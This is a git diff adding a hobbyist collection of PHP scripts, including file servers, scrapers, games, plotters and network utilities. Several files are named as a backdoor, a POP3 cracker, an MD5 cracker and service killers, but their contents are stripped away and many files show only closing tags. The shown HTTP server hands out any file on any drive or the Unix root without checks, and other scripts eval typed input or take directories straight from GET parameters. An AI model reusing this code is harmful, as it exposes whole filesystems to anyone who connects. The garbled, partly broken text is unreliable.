} + +} +?> diff --git a/php/skripty/find_recursive.php b/php/skripty/find_recursive.php new file mode 100644 index 0000000..28bace3 --- /dev/null +++ b/php/skripty/find_recursive.php @@ -0,0 +1,29 @@ +
    +$directory\n

    $directory

    \n"); + $files=opendir ($directory); + while (false!==($file = readdir($files))) + { + if ($file != "." && $file != "..") + { + if(is_dir($directory.$file)) echo("[DIR] "); + //echo "$directory$file\n"; + echo "$directory$file\n"; + $GLOBALS["num"] = ($GLOBALS["num"] + 1); + if(is_dir($directory.$file)) dir_scan($directory.$file.$slash,$slash); + } + } + closedir($files); + +} + +///CODE//////////////////////// +$num = "0"; +dir_scan("x:\\", "\\"); +echo("\nTotal: $num\n"); +?> +
    diff --git a/php/skripty/fork.php b/php/skripty/fork.php new file mode 100644 index 0000000..4be575e --- /dev/null +++ b/php/skripty/fork.php @@ -0,0 +1,12 @@ + diff --git a/php/skripty/grep.php b/php/skripty/grep.php new file mode 100644 index 0000000..6a1b097 --- /dev/null +++ b/php/skripty/grep.php @@ -0,0 +1,35 @@ + diff --git a/php/skripty/httget.php b/php/skripty/httget.php new file mode 100644 index 0000000..22710f6 --- /dev/null +++ b/php/skripty/httget.php @@ -0,0 +1,10 @@ + diff --git a/php/skripty/http_serv.php b/php/skripty/http_serv.php new file mode 100644 index 0000000..e08813a --- /dev/null +++ b/php/skripty/http_serv.php @@ -0,0 +1,61 @@ + + diff --git a/php/skripty/http_server.php b/php/skripty/http_server.php new file mode 100644 index 0000000..6c4c559 --- /dev/null +++ b/php/skripty/http_server.php @@ -0,0 +1,163 @@ +#!usr/bin/php + 1) $port = trim($argv[1]); + if($argc > 2) $interface = trim($argv[2]); +} + +///FUNCTIONS////////////////////////////////////////////////////////////////////// +function send_dir_listing($fp, $directory) { + $num = "0"; + //Header + @fwrite($fp, "\nIndex of $directory\n\n"); + @fwrite($fp, "Available volumes:
    \n"); + + //Special folders + @fwrite($fp, "[/]\n"); //Server root + @fwrite($fp, "[//]\n"); //Unix root (if running unix) + + //Available volumes + $dsks = "cdefghijklmnopqrstuvwxyz"; //Show this volumes (if available) + for($i=0;$i$vol:]\n"); + } + //echo($dsks[$i].":"); + } + @fwrite($fp, "
    \n\n"); + + //Directory listing + @fwrite($fp, "Directory listing of $directory :

    \n\n"); + @fwrite($fp, "[DIR] Parent Directory (../)
    \n"); + $files=opendir ($directory); + while (false!==($file = readdir($files))) + { + if ($file != "." && $file != "..") + { + $num++; + if(is_dir("$directory/$file")) { + fwrite($fp, "$num - [DIR] $file
    \n"); + } else { + fwrite($fp, "$num - $file
    \n"); + } + } + } + + //Footer + fwrite($fp, "
    \nTotal: $num\n
    \n"); +} + +///CODE/////////////////////////////////////////////////////////////////////////// +echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n"); +//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only +set_time_limit(0); +$sss = stream_socket_server("tcp://$interface:$port"); + +while(1) { + @$sfp = stream_socket_accept($sss); + if(!$sfp) continue; + + $loop = 1; + while($sfp && !@feof($sfp) && $loop) { + $line = fgets($sfp); + //echo($line); + if(eregi("(GET|POST)", $line)) { + $line = trim($line); + //echo($line); + $line = explode(" ", $line); + + $line[1] = trim(urldecode($line[1])); + + + if($line[1] == "/") { + $line[1] = "./"; + } else { + $line[1] = substr($line[1], 1); + } + + + if(is_file($line[1])) { //200 OK FILE + fwrite($sfp, $okheader); + echo("200 ".$line[1]); + $fp = fopen($line[1], "rb"); + while( fwrite($sfp, fgets($fp)) ); + @fclose($sfp); + echo(" SENT!\n"); + } + + elseif(is_dir($line[1])) { //200 OK DIR + if(substr($line[1], strlen($line[1])-1) != "/") { //301 MOV DIR + $header = ("/".$line[1]."/"); + echo("301 ".$line[1]." -> $header\n"); + $header = str_replace("%DIR%", $header, $dirheader); + //$header = str_replace("./", "./", $dirheader); + //echo($header); + fwrite($sfp, $header); + @fclose($sfp); + break; + } + echo("200 [DIR] ".$line[1]."\n"); + send_dir_listing($sfp, $line[1]); + } + + else { //404 NOT FOUND + echo("404 ".$line[1]."\n"); + fwrite($sfp, $badheader); + fwrite($sfp, $err404); + @fclose($sfp); + } + + $loop = 0; + } + } + @fclose($sfp); +} + +?> diff --git a/php/skripty/http_server_old.php b/php/skripty/http_server_old.php new file mode 100644 index 0000000..f99cc70 --- /dev/null +++ b/php/skripty/http_server_old.php @@ -0,0 +1,88 @@ +#!usr/bin/php + 1) $port = trim($argv[1]); + if($argc > 2) $interface = trim($argv[2]); +} + +echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n"); +//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only +set_time_limit(0); +$sss = stream_socket_server("tcp://$interface:$port"); + +while(1) { + @$sfp = stream_socket_accept($sss); + if(!$sfp) continue; + + $loop = 1; + while($sfp && !@feof($sfp) && $loop) { + $line = fgets($sfp); + //echo($line); + if(eregi("(GET|POST)", $line)) { + $line = trim($line); + //echo($line); + $line = explode(" ", $line); + + $line[1] = urldecode($line[1]); + + if($line[1] == "/") { + $line[1] = $index; + } else { + $line[1] = substr($line[1], 1); + } + + if(is_file($line[1])) { //200 OK + fwrite($sfp, $okheader); + echo("200 ".$line[1]."\n"); + $fp = fopen($line[1], "rb"); + while( fwrite($sfp, fgets($fp)) ); + @fclose($sfp); + } else { //404 NOT FOUND + echo("404 ".$line[1]."\n"); + fwrite($sfp, $badheader); + fwrite($sfp, $err404); + @fclose($sfp); + } + + $loop = 0; + } + } + @fclose($sfp); +} + +?> diff --git a/php/skripty/integrity_check.php b/php/skripty/integrity_check.php new file mode 100644 index 0000000..27e51f8 --- /dev/null +++ b/php/skripty/integrity_check.php @@ -0,0 +1,10 @@ +0;$cycles--) { + $last_md5 = $md5; + if( ($md5 = md5_file($file)) != $last_md5 ) { return 0; } + } + return 1; +} diff --git a/php/skripty/irc_bdoor.php b/php/skripty/irc_bdoor.php new file mode 100644 index 0000000..2dc3f34 --- /dev/null +++ b/php/skripty/irc_bdoor.php @@ -0,0 +1,162 @@ + diff --git a/php/skripty/irc_bot.php b/php/skripty/irc_bot.php new file mode 100644 index 0000000..396a76e --- /dev/null +++ b/php/skripty/irc_bot.php @@ -0,0 +1,180 @@ + diff --git a/php/skripty/jyxobot.php b/php/skripty/jyxobot.php new file mode 100644 index 0000000..dcdc278 --- /dev/null +++ b/php/skripty/jyxobot.php @@ -0,0 +1,82 @@ +", $line) && ereg(" class=ri", $line)) { + $line = explode("
    $line
    \n"); //XHTML Output + $results[$i] = $line; + $i++; + } + + } + } + fclose($fp); + } + echo("\nTotal: $i\n"); //Sumary Output + return $results; +} + +// +function download_url_array($results, $download_dir) { + //$download_dir = $GLOBALS["download_dir"]; + $fails = 0; $done = 0; + echo("\nDownloading to $download_dir ...\n"); + if(!is_dir($download_dir)) { + echo("Creating directory: $download_dir\n\n"); + mkdir($download_dir); + } else { echo("\n"); } + foreach($results as $id => $url) { + $file = url2filename($url); + echo("Downloading $file (#$id)... "); + $file = "$download_dir\\$file"; + if(!is_file($file) && @copy($url, $file)) { + echo("Done.\n"); + $done++; + } else { + if(is_file($file)) { echo("File already exists "); } + echo("Failed!\n"); + $fails++; + } + } + $totaldls = ($fails+$done); + echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n"); +} + +///CODE////////////////////////////////////////////////////////////////////////////////////// +$results = jyxo_bot("xavier baumaxa","mm","(.mp3|.ogg)",""); //Text2Search +//print_r($results); //Array Output +//var_dump($results); //Detail debug output +//download_url_array($results, "X:\\JyxoBot"); //Automatic Download + +?> diff --git a/php/skripty/lomena.php b/php/skripty/lomena.php new file mode 100644 index 0000000..b732647 --- /dev/null +++ b/php/skripty/lomena.php @@ -0,0 +1,85 @@ +/n" + +//Settings: +$start = -3; //0 //First X +$zero = 0; //Zero line +$stop = 0.5; //Last X +$step = 0.1; //0.1 //Increase X on every line by this number +$reset = "0"; //When X >= reset, then it will be reseted to $resetto (use "" to disable reset). +$resetto = "0.1"; //$resetto +$zoom = 1; //1 //This will repeat every line few times +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Function: +//You can specify your function here: +function func($x) { + +$offset = 20; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 1; //20 //35 //40 //This will stretch every line. + +$y = ( ( (3 / $x) + $offset) * $width ); +//echo("Debug: ".$x." ".$y." "); //Debug +return ($y); + +} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo (" | y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +//Set x to $start: +$pos = $start; + +//Drawing: +while(1) { + + //usleep($sleep); //Wait in microseconds + + $znaku = func($pos); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + //Draw: Y axis: + //echo(" ".$pos."\n"); //Debug + if ($pos == $zero) { + echo("-+------------------------------------------------------------>\n"); + } + + //Increase X: + $pos = ($pos + $step); + + //Reset (for neverending curves, etc...): + if ( ($pos >= $reset) && ($reset != "") ) { + $pos = $resetto; + } + + //Stop if $stop is reached: + if ($pos > $stop) { + die(); + } + +} +?> diff --git a/php/skripty/lyrics_bot.php b/php/skripty/lyrics_bot.php new file mode 100644 index 0000000..72f8e08 --- /dev/null +++ b/php/skripty/lyrics_bot.php @@ -0,0 +1,49 @@ +" ); + while( ($line = trim(fgets($fp))) != "
    " ) { + $line = strip_tags($line); + //echo($line."\n"); + $lyrics = $lyrics.$line."\n"; + } + + $lyrics = trim($lyrics); + if($lyrics == "") $lyrics = "Error_2: Lyrics not found!"; + return($lyrics."\n"); +} + +function parse_music_info($filename) { //This returns array with music info (0 => Artist, 1 => Title) parsed from filename + $filename = explode("-", $filename); + $ret[0] = $filename[0]; + $filename = split("(-|\\.)", $filename[1]); + $ret[1] = $filename[0]; + + $ret = str_replace("_", " ", $ret); + $ret[0] = trim($ret[0]); + $ret[1] = trim($ret[1]); + //print_r($filename); //Debug + //print_r($ret); //Debug + return $ret; +} + +///CODE///////////////////////////////////////////////////////////////////// +$song = parse_music_info("Jimi_Hendrix_-_Are_you_experienced.mp3"); +echo("Lyrics for: ".$song[1]." by: ".$song[0]."\n\n"); +echo get_lyrics($song[0] ,$song[1])."\n"; +//echo get_lyrics("Jimi Hendrix" ,"Are you experienced"); + +?> diff --git a/php/skripty/m3u_browser.php b/php/skripty/m3u_browser.php new file mode 100644 index 0000000..bf0d936 --- /dev/null +++ b/php/skripty/m3u_browser.php @@ -0,0 +1,18 @@ +$file
    \n"; + $num = ($num + 1); + } + } + closedir($files); +} + +$dir = "."; +if(isset($_GET["dir"])) $dir = $_GET["dir"]; + diff --git a/php/skripty/mail.php b/php/skripty/mail.php new file mode 100644 index 0000000..b487d3d --- /dev/null +++ b/php/skripty/mail.php @@ -0,0 +1,13 @@ + diff --git a/php/skripty/mailcheck.php b/php/skripty/mailcheck.php new file mode 100644 index 0000000..6d10d6f --- /dev/null +++ b/php/skripty/mailcheck.php @@ -0,0 +1,83 @@ + diff --git a/php/skripty/md5crack.php b/php/skripty/md5crack.php new file mode 100644 index 0000000..b4de99b --- /dev/null +++ b/php/skripty/md5crack.php @@ -0,0 +1,50 @@ + diff --git a/php/skripty/mem_kill.php b/php/skripty/mem_kill.php new file mode 100644 index 0000000..6aacfc5 --- /dev/null +++ b/php/skripty/mem_kill.php @@ -0,0 +1,28 @@ + ($t + $time) ) + { echo("\nDONE!\nRELASING MEMORY FOR SYSTEM..."); die(); break; } +} +?> diff --git a/php/skripty/microtime.php b/php/skripty/microtime.php new file mode 100644 index 0000000..edcbf6a --- /dev/null +++ b/php/skripty/microtime.php @@ -0,0 +1,13 @@ + diff --git a/php/skripty/multi_terminal.php b/php/skripty/multi_terminal.php new file mode 100644 index 0000000..ec85448 --- /dev/null +++ b/php/skripty/multi_terminal.php @@ -0,0 +1,26 @@ + diff --git a/php/skripty/nadruhou.php b/php/skripty/nadruhou.php new file mode 100644 index 0000000..2e018bd --- /dev/null +++ b/php/skripty/nadruhou.php @@ -0,0 +1,84 @@ +/n" + +//Settings: +$start = -6; //0 //First X +$zero = 0; //Zero line +$stop = 6; //Last X +$step = 0.5; //0.1 //Increase X on every line by this number +$reset = 50; //When X >= reset, then it will be reseted to zero +$zoom = 1; //1 //This will repeat every line few times +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Function: +//You can specify your function here: +function func($x) { + +$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 2; //20 //35 //40 //This will stretch every line. + +$y = ( ( ($x * $x) + $offset) * $width ); +//echo("Debug: ".$x." ".$y." "); //Debug +return ($y); + +} + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo (" | y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +//Set x to $start: +$pos = $start; + +//Drawing: +while(1) { + + //usleep($sleep); //Wait in microseconds + + $znaku = func($pos); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + //Draw: Y axis: + //echo(" ".$pos."\n"); //Debug + if ($pos == $zero) { + echo("-+--------------------------------------------------------------------------->\n"); + } + + //Increase X: + $pos = ($pos + $step); + + //Reset (for neverending curves, etc...): + if ($pos >= $reset) { + $pos = 0; + } + + //Stop if $stop is reached: + if ($pos > $stop) { + break; + } + +} +?> diff --git a/php/skripty/php_brainfuck.php b/php/skripty/php_brainfuck.php new file mode 100644 index 0000000..8b24838 --- /dev/null +++ b/php/skripty/php_brainfuck.php @@ -0,0 +1,28 @@ ++++++++++<-]>.<+++++[>++++++<-]>-.+++++++..+++.<++++++++[>>++++<<-]>>.<<++++[>------<-]>.<++++[>++++++<-]>.+++.------.--------.>+."; + +$buffer = ""; +$pos = 0; +$while = array(); // array($i, ...) +for ($i=0; $i < strlen($code); $i++) { + switch ($code{$i}) { + case '>': $pos++; break; + case '<': $pos--; break; + case '+': $buffer{$pos} = chr(ord($buffer{$pos}) + 1); break; + case '-': $buffer{$pos} = chr(ord($buffer{$pos}) - 1); break; + case '.': echo $buffer{$pos}; break; + case ',': $buffer{$pos} = fgetc(STDIN); break; + case '[': if (ord($buffer{$pos})) $while[] = $i; else for ($depth=1; $depth; $i++) { + if ($code{$i+1} == '[') $depth++; + elseif ($code{$i+1} == ']') $depth--; + } + break; + case ']': $i = array_pop($while) - 1; break; + default: echo "Unrecognized character.\n"; exit(1); + } +} + +echo("\n\n"); + +?> diff --git a/php/skripty/php_demo.php b/php/skripty/php_demo.php new file mode 100644 index 0000000..dd5eb67 --- /dev/null +++ b/php/skripty/php_demo.php @@ -0,0 +1,29 @@ +0;$x--) echo("#"); + echo("\x0d"); +} + +$tnum = rand(0,99); +echo("Find: ".($find = md5($tnum)).":??\n"); +$i = 0; +while(1) { + $tnum = rand(0,99); + $test = md5($tnum); + echo("\x0d MD5: ".$test." ".$tocse[$i]." :$tnum "); + usleep(50000); + if($test == $find) { break; } + $i++; + if($i > 3) { $i = 0; } +} +echo("\x0d MD5: ".$test.":$tnum \n Found\x07!!!\n\n"); + +} diff --git a/php/skripty/php_shell.php b/php/skripty/php_shell.php new file mode 100644 index 0000000..6475881 --- /dev/null +++ b/php/skripty/php_shell.php @@ -0,0 +1,38 @@ + 1) { + array_shift($argv); + //print_r($argv); //Debug + include($argv[0]); + die(); +} + +echo ( +"PHP CONSOLE\n" +."Coded: Harvie 2oo7\n" +."Version: 0.3\n" +."--------------------------\n" +); + +//$loop = 1; +$__prompt__ = "\n> "; +while(1) { + eval(readline($__prompt__)); +} + +?> diff --git a/php/skripty/pico.php b/php/skripty/pico.php new file mode 100644 index 0000000..3e0593b --- /dev/null +++ b/php/skripty/pico.php @@ -0,0 +1,19 @@ + diff --git a/php/skripty/ping.php b/php/skripty/ping.php new file mode 100644 index 0000000..46906c9 --- /dev/null +++ b/php/skripty/ping.php @@ -0,0 +1,83 @@ + 3, "usec" => 0)); //<-- Change TimeOut Here <-- + + /* connect to socket */ + socket_connect($socket, $host, null); + + /* record start time */ + list($start_usec, $start_sec) = explode(" ", microtime()); + $start_time = ((float) $start_usec + (float) $start_sec); + + socket_send($socket, $package, strlen($package), 0); + + if(@socket_read($socket, 255)) { + list($end_usec, $end_sec) = explode(" ", microtime()); + $end_time = ((float) $end_usec + (float) $end_sec); + + $total_time = $end_time - $start_time; + + return $total_time; + } else { + return false; + } + + socket_close($socket); +} + +//READLINE +function readline ( $fp ) { + //echo $prompt; + + $t = ""; + $c = ""; + + while(1) { + $c = fgetc($fp); + if ($c == "\n") { // && ($c == "\r") //May be later on oher systems + return $t; + } else { + $t = ($t.$c); + } + } + + return $t; + +} +//READLINE END + +//Code + +//echo (ping ("192.168.2.1")); +$fp = fopen("hosts.txt", "r+"); //host list file (hosts separated by newline, ends with two empty lines) + +$fhost = "EMPTY"; +while ($fhost != "") { + + $ping = ""; + $fhost = trim(readline($fp)); + + if ( $fhost != "" ) { + echo("HOST: ".$fhost); + + try { + $ping = ping($fhost); + } catch(string $err) {} + + if ( ($ping != "") && ($ping > "0") ) { + echo(" - UP PING: ".$ping." sec.\n"); + } else { + echo (" - TIMED OUT\n"); + } + } + +} + +?> diff --git a/php/skripty/pop3crack.php b/php/skripty/pop3crack.php new file mode 100644 index 0000000..41f43a1 --- /dev/null +++ b/php/skripty/pop3crack.php @@ -0,0 +1,49 @@ + diff --git a/php/skripty/pop3test.php b/php/skripty/pop3test.php new file mode 100644 index 0000000..9124684 --- /dev/null +++ b/php/skripty/pop3test.php @@ -0,0 +1,33 @@ + diff --git a/php/skripty/proc_test.php b/php/skripty/proc_test.php new file mode 100644 index 0000000..d1b7528 --- /dev/null +++ b/php/skripty/proc_test.php @@ -0,0 +1,15 @@ + array("pipe", "r"), // stdin is a pipe that the child will read from + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + 2 => array("pipe", "r") // stderr is a file to write to +); + +$proc = proc_open("proctest.exe", $desc, $pipes); +sleep(10); +proc_terminate($proc); +proc_close($proc); +proc_terminate($proc); + +?> diff --git a/php/skripty/prvocisla.php b/php/skripty/prvocisla.php new file mode 100644 index 0000000..fc72d2a --- /dev/null +++ b/php/skripty/prvocisla.php @@ -0,0 +1,39 @@ + 2) && (($num % 2) == 0) ) { return (0); } + $i = 2; + while ($i < $num) { + if ( ($num % $i) == 0 ) { return (0); } + $i++; + } + return (1); +} + +//CODE + +//Prvocisla: 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, … +//echo(is_prime(1)."\n".(7%2)); //Debug + +//Settings +$min = 1; +$max = 3000; + +//Logic +$total_primes = 0; +while ($min <= $max) { + if(is_prime($min)) { + echo($min."\n"); //Show all primes + $total_primes++; //Count all primes + } +$min++; +} + +//Output +echo("\nPrimes total: ".$total_primes."\n"); //Total number of primes + +?> diff --git a/php/skripty/rada_crack.php b/php/skripty/rada_crack.php new file mode 100644 index 0000000..ebc7ca9 --- /dev/null +++ b/php/skripty/rada_crack.php @@ -0,0 +1,62 @@ + !!! OPTIMALIZOVAT !!! <- + if(!eregi($istr, $GLOBALS[$name])) { + if( $istr[0] == $GLOBALS[$name][strlen($GLOBALS[$name])-1] ) { + $istr = substr($istr, 1); + $GLOBALS[$name] = $GLOBALS[$name].$istr; + } elseif( $GLOBALS[$name][0] == $istr[strlen($istr)-1] ) { + $GLOBALS[$name] = substr($GLOBALS[$name], 1); + $GLOBALS[$name] = $istr.$GLOBALS[$name]; + } else { + + //Nahodne na zacetek nebo konec + if(rand(0,1)) { + $GLOBALS[$name] = $istr.$GLOBALS[$name]; + } else { + $GLOBALS[$name] = $GLOBALS[$name].$istr; + } + + } + } + //$GLOBALS[$name]=$GLOBALS[$name].$istr; //Debug +} + +// +function rada_unique($name) { //Funkce pro vyhledani a smazani duplikatu (i potrebnych) + $length = $GLOBALS["places"]; + $replacer = "%"; + + for($i=0;$i<(strlen($GLOBALS[$name])-$length);$i++) { + + $sub = substr($GLOBALS[$name], $i, $length); + for($x=0;$x<$length;$x++) { + $GLOBALS[$name][($i+$x)] = $replacer; + } + + $GLOBALS[$name] = str_replace($sub, "", $GLOBALS[$name]); //Smaze duplikaty + + $replace=""; + for($x=0;$x<$length;$x++) { + $replace = $replace.$replacer; + } + + $GLOBALS[$name] = str_replace($replace, $sub, $GLOBALS[$name]); + } + +} + +// +function add_zeroes($num, $places) { //Zarovna cislo na $places mist pridanim nul na zacatek + $str = ""; + for($i=0;$i<$places;$i++) { + $str = $str."0"; + } + //$num = base_convert($num, 10, $base); //BASE CONVERT -> !!! NOT WORKS YET !!! <- + $str=$str.$num; + $str = substr($str, strlen($str)-$places); + return $str; +} + +///CODE/////////////////////////////////////////// +//Test +//die(add_zeroes(23, 5)); +////////////////////////////////////////////////// +$try = $tryes; +$next = true; +while($next) { //MAIN LOOP + $next = false; + + $rada = ""; //Vytvorime prazdnou radu + for($i=$start;$i<=$stop;$i++) { //Pridame vsechna n-cisli + $istr = add_zeroes($i, $places); + rada_add("rada", $istr); + } + + rada_unique("rada"); + + $notfound = 0; + for($i=$start;$i<=$stop;$i++) { + $istr = add_zeroes($i, $places); + if(!eregi($istr, $rada)) { + $notfound++; + //echo("Not found: $i\n"); + $next = true; + } + } + + echo("Total not found: $notfound\n"); //Debug + + if($try > 0) { + if($notfound <= $minnotfound || !isset($minnotfound)) { + echo("-minnf: $notfound\n"); //Debug + $minnotfound = $notfound; + $try = $tryes; + } else { + $try--; + } + } else { + if($notfound <= $minnotfound || $notfound == 0) $next = false; + } + +} //MAIN LOOP + +for($i=$start;$i<=$stop;$i++) { //Pridame vsechna zbyla n-cisli + $istr = add_zeroes($i, $places); + rada_add("rada", $istr); + } + +/////////OUTPUT/////////////////////////////////// +echo("\n"); +echo("Length: ".strlen($rada)." chars\n"); +echo("Total not found: $notfound\n"); +echo($rada); +echo("\n\n"); diff --git a/php/skripty/serv_kill.php b/php/skripty/serv_kill.php new file mode 100644 index 0000000..1fc76a6 --- /dev/null +++ b/php/skripty/serv_kill.php @@ -0,0 +1,17 @@ + diff --git a/php/skripty/service_checker.php b/php/skripty/service_checker.php new file mode 100644 index 0000000..1dd69f1 --- /dev/null +++ b/php/skripty/service_checker.php @@ -0,0 +1,19 @@ + +

    TCP Service Checker

    +
    + Host:
    + Port:
    + Timeout:
    +
    + +
     UNRECHEABLE 
    ".$errno." - ".$errstr.""; } + else + { echo " RECHEABLE "; } + +?>
    + + diff --git a/php/skripty/sinus_curve.php b/php/skripty/sinus_curve.php new file mode 100644 index 0000000..181ab85 --- /dev/null +++ b/php/skripty/sinus_curve.php @@ -0,0 +1,55 @@ +/n" + +//Settings: +$start = 0; //0 //First X +$step = 0.1; //0.1 //Increase X on every line by this number +$reset = (2*PI()); //When X >= reset, then it will be reseted to zero +$zoom = 1; //1 //This will repeat every line few times +$offset = 1.1; //1.1 //1 //0 -> Zero offset will draw only half of sin curve. +$width = 35; //20 //35 //40 //This will stretch every line. +$sleep = "15000"; //15000 - Wait between lines in microseconds +$line = (" "); // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay). +$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline). + +//Code: +echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n"); +echo ("0| y\n"); +echo ("-|--------------------------------------------->\n"); +echo ("x|\n"); +echo (" V\n\n"); + +sleep(2); + +$pos = $start; +while(1) { + + usleep($sleep); //Wait in microseconds + + $znaku = ((sin($pos) + $offset) * $width); + + $zoom2 = $zoom; + while ($zoom2 > 0) { + + $znaku2 = round($znaku); //It looks better after round ;) + while ($znaku2 > 0) { + echo $line; + $znaku2 = ($znaku2 - 1); + } + //echo(" ".$pos." "); //Debug + echo ($endline); + + $zoom2 = ($zoom2 - 1); + } + + //echo(" ".$pos." "); //Debug + $pos = ($pos + $step); + if ($pos >= $reset) { + $pos = 0; + } + +} +?> diff --git a/php/skripty/stdin_socket.php b/php/skripty/stdin_socket.php new file mode 100644 index 0000000..547bd07 --- /dev/null +++ b/php/skripty/stdin_socket.php @@ -0,0 +1,22 @@ + diff --git a/php/skripty/sudoku_web.php b/php/skripty/sudoku_web.php new file mode 100644 index 0000000..0315b1d --- /dev/null +++ b/php/skripty/sudoku_web.php @@ -0,0 +1,145 @@ +
    + +
    +
    + += 0) { + $del = $donenums[$indx]; + //echo("!".$del); + $cands = str_replace($del, "", $cands); + $indx--; + } + //echo "\n\n".$cands; + return $cands; +} + +// +function sudoku_compute($sudoku) { + + $sudoku_old = ""; + while( $sudoku_old != $sudoku ) { + $sudoku_old = $sudoku; + + $is = sizeof($sudoku)-1; + while ($is >= 0) { + $line = $sudoku[$is]; + + $i = strlen($line)-1; + while ($i >= 0) { + //echo($line[$i]); + + $cands = sudoku_candidates ( $sudoku, ($is+1), ($i+1) ); + if ( strlen($cands) == 1 && !is_numeric($sudoku[$is][$i]) ) { + $sudoku[$is][$i] = $cands; + } + + $i--; + } + //echo("\n"); + + $is--; + } + } + return($sudoku); +} + +///CODE/////////////////////////////////////////// +/* +$sudoku = array( + "43 6 5 89", + "56 23", + " 2 3 ", + "7 5 6 9 4", + " 9 1 ", + "2 9 7 5 1", + " 4 8 ", + "32 56", + "89 5 6 12" + ); +*/ + +sudoku = explode ("\n",$_POST["sudokupost"]); + + +echo("Zadani:\n"); +sudoku_print($sudoku); +echo("\nVysledek:\n"); +sudoku_print(sudoku_compute($sudoku)); + +?> diff --git a/php/skripty/terminal_client.php b/php/skripty/terminal_client.php new file mode 100644 index 0000000..547bd07 --- /dev/null +++ b/php/skripty/terminal_client.php @@ -0,0 +1,22 @@ + diff --git a/php/skripty/terminal_connect.php b/php/skripty/terminal_connect.php new file mode 100644 index 0000000..4857e9c --- /dev/null +++ b/php/skripty/terminal_connect.php @@ -0,0 +1,11 @@ + diff --git a/php/skripty/terminal_server.php b/php/skripty/terminal_server.php new file mode 100644 index 0000000..5314410 --- /dev/null +++ b/php/skripty/terminal_server.php @@ -0,0 +1,21 @@ + diff --git a/php/skripty/tictactoe.php b/php/skripty/tictactoe.php new file mode 100644 index 0000000..f9e8946 --- /dev/null +++ b/php/skripty/tictactoe.php @@ -0,0 +1,111 @@ +0 && $place<10) && ($ttt[$place] != $x && $ttt[$place] != $o) && is_numeric($place) ) { + $ttt[$place] = $player; + } else { $GLOBALS["err"] = true; } + return $ttt; +} + +// +function ttt_check($ttt) { + $x = $GLOBALS["cross"]; + $o = $GLOBALS["circl"]; + //Horizontal + if( $ttt[7] == $ttt[8] && $ttt[8] == $ttt[9] ) { return 1; } + if( $ttt[4] == $ttt[5] && $ttt[5] == $ttt[6] ) { return 1; } + if( $ttt[1] == $ttt[2] && $ttt[2] == $ttt[3] ) { return 1; } + //Vertical + if( $ttt[7] == $ttt[4] && $ttt[4] == $ttt[1] ) { return 1; } + if( $ttt[8] == $ttt[5] && $ttt[5] == $ttt[2] ) { return 1; } + if( $ttt[9] == $ttt[6] && $ttt[6] == $ttt[3] ) { return 1; } + //Diagonal + if( $ttt[7] == $ttt[5] && $ttt[5] == $ttt[3] ) { return 1; } + if( $ttt[1] == $ttt[5] && $ttt[5] == $ttt[9] ) { return 1; } + //Nobody won + for($i=1;$i| ", $url); + //print_r($url); + $url = $url[0]; + if(eregi(".com", $url)) { + $urls[$i] = "http://".$url; + $i++; + } + } + //print_r($urls); + return($urls); +} + +function wmv_bot($url, $ext) { + foreach(url_bot($url) as $url) { + $file = file($url); + $file[-1] = ""; + $file = implode("\n", $file); + $file = spliti("http://", $file); + //print_r($file); + $urlz[-1] = ""; + $i = 0; + foreach($file as $url) { + $url = explode(">", $url); + $url = $url[0]; + if(eregi(".com", $url) && eregi($ext, $url) && !eregi(" |\"", $url)) { + $urlz[$i] = "http://".$url; + $i++; + } + } + print_r($urlz); + } + return($urlz); +} + +// +function download_url_array($results, $download_dir) { + //$download_dir = $GLOBALS["download_dir"]; + $fails = 0; $done = 0; + echo("\nDownloading to $download_dir ...\n"); + if(!is_dir($download_dir)) { + echo("Creating directory: $download_dir\n\n"); + mkdir($download_dir); + } else { echo("\n"); } + foreach($results as $id => $url) { + $file = url2filename($url); + echo("Downloading $file (#$id)... "); + $file = "$download_dir\\$file"; + if(!is_file($file) && @copy($url, $file)) { + echo("Done.\n"); + $done++; + } else { + if(is_file($file)) { echo("File already exists "); } + echo("Failed!\n"); + $fails++; + } + } + $totaldls = ($fails+$done); + echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n"); +} + +///CODE////////////////////////////////////////////////////////////////////////////////////// +$results = wmv_bot("http://www.loliti.com/cz/m/bonde19e_s_vodou_0.php", ".wmv"); +print_r($results); +//download_url_array($results, "X:\\wmvBot"); //Automatic Download + +?> diff --git a/php/skripty/xor_8bits.php b/php/skripty/xor_8bits.php new file mode 100644 index 